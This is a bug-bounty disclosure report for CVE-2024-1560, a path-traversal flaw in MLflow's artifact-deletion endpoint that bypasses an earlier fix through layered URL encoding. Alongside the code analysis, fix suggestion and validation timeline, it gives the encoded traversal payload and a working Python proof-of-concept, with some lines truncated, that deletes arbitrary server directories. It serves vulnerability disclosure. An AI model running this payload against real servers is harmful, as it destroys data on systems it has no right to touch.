

Path traversal when deleting artifacts in mlflow/mlflow

✓ Valid

Reported on Dec 22nd 2023

Description

There was a recently disclosed vulnerability in CVE-2023-6831

(<https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314/>) that used path traversal to delete arbitrary directories. There is a fix in latest version (2.9.2), but it is still possible to bypass with some extra steps in url encoding.

In handler for `DELETE /mlflow-artifacts/artifacts?path=<value>`

```
def _delete_artifact_mlflow_artifacts(artifact_path):
    artifact_path = validate_path_is_safe(artifact_path)
    ...
    artifact_repo.delete_artifacts(artifact_path)
    ...
```

it will first try to validate the path

```
def validate_path_is_safe(path):
    ...
    path = _decode(path)
    ...
    if is_file_uri(path):
        path = local_file_uri_to_path(path)
    ...
    return path

...
def _decode(url):
    # Keep decoding until the url stops changing (with a max of 10 iterations)
    for _ in range(10):
        decoded = urllib.parse.unquote(url)
        if decoded == url:
            return url
        url = decoded

    raise ValueError("Failed to decode url")
```

what happens here is it will first try to unquote it with `_decode()`, then once again in `local_file_uri_to_path()`

```
def local_file_uri_to_path(uri):
    ...
    path = uri
    if uri.startswith("file:"):
        parsed_path = urllib.parse.urlparse(uri)
        path = parsed_path.path
    ...
    return urllib.request.url2pathname(path)
```

because `urllib.request.url2pathname()` just does `unquote()` on linux systems.

If this unquoted path passes validation in `validate_path_is_safe()`, `artifact_repo.delete_artifacts(artifact_path)` will be called (`store/artifact/local_artifact_repo.py`)

```
def delete_artifacts(self, artifact_path=None):
    artifact_path = local_file_uri_to_path(
        os.path.join(self._artifact_dir, artifact_path) if artifact_path else self._artifact_dir
    )

    if os.path.exists(artifact_path):
        shutil.rmtree(artifact_path)
```

but here it again uses `local_file_uri_to_path()` (so an extra unquote).

There are some quirks in `urllib.parse.urlparse(url): \t, \n` and `\r` characters will be removed from a given string before parsing, so for example `urlparse("h\nt\ntp://x\rxx/ab\tc\nd")` is

```
ParseResult(scheme='http', netloc='xxx', path='/abcd', params='', query='', fragment='')
```

So now we start with `file:%2%0952e%2%0952e/%2%0952e%2%0952e/%2%0952e%2%0952e/xxx`:

```
_decode("file:%2%0952e%2%0952e/%2%0952e%2%0952e/%2%0952e%2%0952e/xxx") == "file:%2%0952e%2%0952e/%2%0952e%2%0952e/%2%0952e%2%0952e/xxx"
urlparse("file:%2\t52e%2\t52e/%2\t52e%2\t52e/%2\t52e%2\t52e/xxx").path == "%252e%252e/%252e%252e/%252e%252e/xxx"
url2pathname("%252e%252e/%252e%252e/%252e%252e/xxx") == "%2e%2e/%2e%2e/%2e%2e/xxx"
```

this path will now by bypass validation, but will then get unquoted again in `delete_artifacts()`, becoming `../../../xxx`.

Fix suggestion

In `store/artifact/local_artifact_repo.py` `delete_artifacts()` function do not call `local_file_uri_to_path()` again: none of the other file operations in `LocalArtifactRepository` class (`list_artifacts()`, `log_artifact()`, `download_artifact()`) do that and path already comes checked and validated from the `_delete_artifact_mlflow_artifacts()` handler.

Proof of Concept

```
from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", required=True)
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        experiment_name = "e_" + randbytes(4).hex()

        rsp = s.post(f"{ajax_api}/experiments/create", json={
            "name" : experiment_name,
        })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={
            "experiment_id" : experiment_id
        })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        # upload an artifact to force creation of './mlartifacts' directory in serv
        # no artifacts were uploaded before:
        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", da

        dot = "%2%0952e"
        dots = dot + dot
        traverse = f"{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}"
        rsp = s.delete(f'{url}/api/2.0/mlflow-artifacts/artifacts/file:{traverse}/{
        print(rsp.text)

        rsp = s.post(f"{ajax_api}/experiments/delete", json={
            "experiment_id" : experiment_id
        })
```

Impact

This vulnerability is capable of deleting directories on a servers filesystem

Occurrences



local_artifact_repo.py L108

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎️ **ozelis** modified the report 2 years ago



✎️ **Dan McInerney** modified the Severity from Critical (9.6) to High (8.1) 2 years ago



Dan McInerney commented 2 years ago

Admin

Per NIST's review of the previous vulnerability's CVSS, setting this to NIST's score of 8.1.

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✅ **Dan McInerney** validated this vulnerability 2 years ago

Reproduced. Great PoC.

\$ **ozelis** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



❤️ **Dan McInerney** gave praise 2 years ago

Great PoC.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

👤 **CVE-2024-1560** assigned to this report. 2 years ago

✎️ A huntr admin modified the scheduled publication date from Invalid date to 16th Apr 2024 2 years ago

⚠️ We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago



CVE-2024-1560 has now been published 2 years ago

We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

[Sign in](#) to join this conversation

CVE
CVE-2024-1560
Published

Vulnerability Type
CWE-22: Path Traversal

Severity
High (8.1)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.9.2

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



ozelis
[@ozelis](#)
MIDDLEWEIGHT

